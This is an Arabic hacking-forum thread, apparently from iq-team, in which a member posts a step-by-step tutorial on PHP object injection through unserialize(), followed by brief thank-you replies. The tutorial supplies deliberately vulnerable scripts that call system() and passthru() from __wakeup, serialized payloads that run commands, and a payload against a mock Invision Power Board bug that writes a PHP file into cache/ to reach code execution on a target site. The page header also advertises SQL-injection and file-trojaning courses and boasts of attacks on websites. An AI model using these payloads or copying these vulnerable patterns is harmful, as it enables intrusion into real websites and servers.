1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

Unserialize() , Php Object Injection tut

الموضوع في 'آمن المواقع والسيرفرات' بواسطة i-Hmx, بتاريخ ‏25 نوفمبر 2012.

كاتب الموضوع : i-Hmx المشاهدات : 16,127 الردود : 7 ‏25 نوفمبر 2012
حالة الموضوع:
مغلق
  1. غير متصل

    i-Hmx
    rankrank
    Developer

    عضو منذ:
    ‏20 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    [​IMG]
    السلام عليكم
    كيف أحوال الجميع
    ان شاء الله بخير
    موضوع بسيط بس هنوضح فيه استغلال unserialize لانى شايف ناس كتير محتاره فيها
    الحكايه بسيطه يا شباب
    ابسط مما تتخيلو
    ركزو بس ثوانى وان شاء الله كل حاجه هتوضح
    الاول نتكلم عن الداله نفسها
    اقتباس من الاخ حمزه فى موضوع سابق



    خلينا نتعامل مع حاجه عاديه
    سكربت بسيط يطبع قيمة serialize لاى حاجه


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);echo $sec1;?>
    اعمل حفظ للملف
    من اضافة hackbar اعمل post لـ
    ser=faris=1337
    مثلا
    ser هى اللى هيتنفذ عليها دالة serialize
    شوف بس الناتج
    هتلاقى شكله زى كده
    s:10:"faris=1337";
    عايزك تاخد بالك من شكل الناتج بس مش اكتر
    خده كوبى عندك
    دلوقت غير السكربت خليه
    echo $sec2;
    بدل
    echo $sec1;
    واعمل post لـ


    كود PHP:
     unser=s:10:"faris=1337";
    وشوف الناتج
    هتلاقى رجعنا للقيمه اللى كنا حاطينها فى الاول faris=1337
    الطريقه مستخدمه بكثره فى الكوكيز بالذات
    سكربت arabportal , phpbb وكتير غيرهم
    مش موضوعنا دلوقت
    المهم فهمنا بس فايدة الداله وطريقة عملها
    طيب ايه مشكلتها دلوقت؟؟؟
    الداله نفسها دلوقت مفيهاش مشكله
    لكن ناخد بالنا من كلام حمزه فى نفس الموضوع السابق


    الداله بتكون خطيره فى حالة وجود الـmagic calls
    اللى هى __wakeup or __destruct
    فى الحاله دى بتتحطم انت فى الباراميترز اللى تحت الوظيفه دى وتنفذها بنفسك
    نشوف مثال احسن علشان توضح الامور


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);class ex{public $cmd; function sys($cmd)  {   system($cmd);  }}$fa=new sec();$fa->sys('dir');?>
    لو فتحت السكربت ده هتلاقيه نفذ الامر dir
    وانت متقدرش تغير الامر او تنفذ أى أمر تانى
    فى السكربت ده unserialize ملهاش ادنى خطوره
    دلوقت شيل السطرين دول
    $fa=new sec();
    $fa->sys('dir');
    ونفذ السكربت مره تانيه
    النتيجه صفحه بيضه
    وبرضه unserialize لسه ملهاش لزمه هنا
    لكن نشوف بقى لو بدل
    function sys($cmd)
    موجود
    function __wakeup($cmd)
    يبقى السكربت بالشكل ده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);class ex{public $cmd; function __wakeup()  {   system($this->cmd);  }}
    ?>
    افتحه عادى
    هيديك صفحه بيضه
    لان طبيعى مفيش اى وظيفه تم تنفيذها
    لكن لو عملت انت post


    كود PHP:
    unser=O:2:"ex":1:{s:3:"cmd";s:3:"dir";}
    هتلاقى الامر dir اتنفذ بدون مشاكل
    السؤال
    منين جبنا الكود ده؟؟؟
    شوية تركيز كمان بس ونكون خلصنا
    *:"
    دلوقت __wakeup بيتنفذ فيها ايه اساسا؟؟؟


    كود PHP:
    system($this->cmd);
    يبقى احنا محتاجين كام باراميتر؟؟؟
    هو واحد بس
    cmd
    يبقى بكل بساطه
    اعمل ملف php جديد
    ونكتب فيه الكود ده


    كود PHP:
    class ex{public $cmd='dir';}echo serialize(new ex);
    نوضح الامور برضه شويه
    serialize هى المسئوله عن التحويل زى ما قلنا فى اول الموضوع
    class ex
    ex = الكلاس اللى فيها _wakeup
    لاحظ الملف المصاب
    لازم يكون اسم الكلاس صحيح
    public $cmd='dir'
    cmd = الباراميتر المطلوب
    dir = الامر اللى هننفذه
    افتح الملف من المتصفح هتلاقى النتيجه


    بسيطه صح؟؟؟
    دلوقت حاول انت تعمل استغلال للملف المصاب ده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class test{public $ok; function __wakeup()  {   passthru($this->ok);  }}؟>
    لو عملته كمل معانا فى الخطوه الجايه
    لو مش قادر تعمله عيد اقرا الشرح اللى فوق او استفسر عن المشكله اللى قابلتك فى رد
    نكمل
    نروح لمثال حى
    ثغرة الـInvision Power Board
    مش معايا السورس تبع السكربت حاليا لكن هنعمل محاكاه بسيطه للملف المصاب
    بناء على المعطيات اللى فى الثغره
    ده مثال للملف المصاب
    طبعا مجرد تخمين بس مش هيكون بعيد عنه كتير


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class db_driver_mysql {public $obj=array('use_debug_log'=>'debug_log' => 'fuck_random_name.txt' 'data'=>'any thing after the link :)');function debug($obj) {  $f=fopen($this->obj['debug_log'],'w+');  fwrite($f,$this->obj['data']); }}$s4e=new db_driver_mysql;$s4e->debug($obj);?>
    لو فتحت الملف ده فى المتصفح
    هتلاقى نتج فى نفس الفولدر ملف اسمه
    fuck_random_name.txt = الملف السكربت بيحط فيه اللوجات وطبعا بيكون ملف عشوائى
    مكتوب فيه
    any thing after the link = اللوج السكربت بيحطه
    طيب دلوقت فى الملف اللى انا حطيته ده
    مفيش أمل تغير إسم الملف او حتى محتوياته
    وأيضا نقول ان unserialize ملهاش اى لزمه
    لكن لو موجود wakeup or destruct مكان debug????
    بحيث يكون الكود كده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class db_driver_mysql {public $obj=array('use_debug_log'=>'debug_log' => 'fuck_random_name.txt' 'data'=>'any thing after the link :)');function __wakeup($obj) {  $f=fopen($this->obj['debug_log'],'w+');  fwrite($f,$this->obj['data']); }}?>
    لو عملنا post لـ
    unser=a:1:{i:0;O:15:"db_driver_mysql":1:{s:3:"obj" ;a:3:{s:13:"use_debug_log";i:0;s:9:"debug_log";s:9 :"faris.php";s:4:"data";s:19:"faris on the mic ";}}}
    هنلاقى نتج فى الفولدر ملف اسمه faris.php
    محتواه faris on the mic
    ممكن نغيرهم بأى حاجه طبعا
    نرجع ونقول ازاى جبنا الكود؟؟؟
    بنفس الطريقه اللى فوق


    كود PHP:
     <?class db_driver_mysql { public $obj=array('use_debug_log'=>'debug_log' => 'faris.php' 'data'=>'faris on the mic ::');}echo serialize(array(new db_driver_mysql));?>
    أعتقد واضحه
    مجرد شوفنا الباراميترز وعدلناهم براحتنا
    وده اللى موجود فى استغلال ثغرة الـinvision pb
    غير اسم اللوج لـcache/sh.php
    محتوى الملف بيكون اى حاجه بعد لينك المنتدى
    يعنى مثلا لو فتحت
    target.com/index.php?faris
    بيتحط فى اللوج faris
    يبقى بنفس الفكره
    لو غيرنا مسال اللوج خليناه cache/iq-team.php
    وفتحنا اللينك site.com/index.php?<?phpinfo();?>
    وبعدها فتحنا cache/iq-team.php
    هنلاقى الكود تبعنا اتنفذ بنجاح

    يبقى خلاصة الموضوع
    اذا لقينا سكربت php مستخدمه فيه unserialize
    نبحث بعدها عن __wakeup
    او
    __destruct
    ونشوف ايه اللى ممكن نعمله من الاتنين دول
    ونتعامل زى ما قلنا فوق
    أتمنى يكون الموضوع مهضوم وواضح
    أى استفسار ان شاء الله اى حد من الاخوه يجاوب لو انا مش موجود لان فيه بعض ظروف ممكن تأخرنى فى الرد
    بالتوفيق للجميع
    &:":


     


    1 person likes this.
    جاري تحميل الصفحة...
  2. غير متصل

    salah-pro
    rankrank
    ExpErt DeveloPer

    عضو منذ:
    ‏25 ديسمبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    رد: Unserialize() , Php Object Injection tut

    يشرفني اني اول واحد يرد :$
     


  3. غير متصل

    Масћіле
    rank
    Developer

    عضو منذ:
    ‏2 يونيو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Unserialize() , Php Object Injection tut

    بارك الله فيك يالغالي ​
     


  4. غير متصل

    :: dev-vb ::
    rank
    Developer

    عضو منذ:
    ‏7 مارس 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Unserialize() , Php Object Injection tut

    مميز يا غالى تسلم ايدك ​
     


  5. غير متصل

    مخابرات الهكر
    rankrank
    Developer

    عضو منذ:
    ‏19 يوليو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    رد: Unserialize() , Php Object Injection tut

    شكرا ياغالي
     


  6. غير متصل

    Ahmed Hamody
    rankrank
    ExpErt DeveloPer

    عضو منذ:
    ‏24 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    الإقامة:

    رد: Unserialize() , Php Object Injection tut

    بارك الله فيك
    تحياتي لك
    والى الامام
     


  7. غير متصل

    ĸʜɜʟɛɒ
    Active DeveloPer

    عضو منذ:
    ‏3 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    الإقامة:

    رد: Unserialize() , Php Object Injection tut

    مشكور أخي وبارك الله فيك



    بتوفيق...&:":
     


  8. غير متصل

    صايع هكر
    rankrank
    Developer

    عضو منذ:
    ‏17 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Unserialize() , Php Object Injection tut

    مشكور اخي :{1}:
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...